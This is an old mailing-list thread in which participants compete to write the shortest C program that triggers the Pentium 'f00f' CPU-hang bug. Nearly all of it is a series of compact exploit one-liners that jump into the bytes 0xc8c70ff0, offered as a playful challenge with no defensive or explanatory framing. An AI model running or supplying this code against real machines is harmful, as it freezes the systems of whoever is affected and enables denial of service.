Re: smaller f00f.c

[Michael Stutz <stutz@dsl.org>]

On Fri, 14 Nov 1997, Adam Back wrote:

> f00fie writes:
> > In the grand tradition of RSA-in-3-lines-of-perl, we present
> > Crash-A-Pentium-in-44-characters:
> > 
> >    main(){int i=0xc8c70ff0;void (*f)()=&i;f();}
> 
> Hey, challenge is on:
> 
> main(){int i=0xc8c70ff0;void (*f)()=&i;f();} /* f00fies 44 char */
> main(){((int(*)())"\360\017\307\310")();}
> main(){int i=0xc8c70ff0,(*f)()=&i;f();}
> main(i){int(*f)()=&i;i=0xc8c70ff0;f();}
> main(i){i=0xc8c70ff0;((int(*)())&i)();}
> (*f)();main(i){f=&i;i=0xc8c70ff0;f();}
> (*f)()="\360\017\307\310";main(){f();}       /* 38 chars */
> 
> Compiled with gcc.


How about:

long main[]={0xc8c70ff0};

or even

main[]={0xc8c70ff0}; /* 21 chars */

Compiles with gcc, but I haven't tested it.